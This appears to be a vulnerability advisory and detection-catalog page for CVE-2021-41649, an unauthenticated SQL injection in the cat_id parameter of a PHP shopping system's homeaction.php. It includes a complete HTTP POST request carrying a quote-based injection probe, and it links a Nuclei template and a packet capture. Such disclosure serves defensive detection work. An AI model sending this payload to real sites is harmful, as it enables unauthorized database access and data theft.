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CVE-2021-41649: PuneethReddyHC Online Shopping System homeaction.php SQL Injection

TitlePuneethReddyHC Online Shopping System homeaction.php SQL Injection
Authordaffainfo
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9066
CVE IDCVE-2021-41649
CWE IDCWE-89
Tags cve2021 cve sqli injection online-shopping-system-advanced_project vkev vuln

🔍 Vulnerability Description

An unauthenticated SQL injection vulnerability exists in PuneethReddyHC Online Shopping System through the /homeaction.php cat_id parameter. Using a post request does not sanitize the user input.

🌐 HTTP Request

POST /homeaction.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Content-Length: 32
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

cat_id=4'&get_seleted_Category=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41649.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41649.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A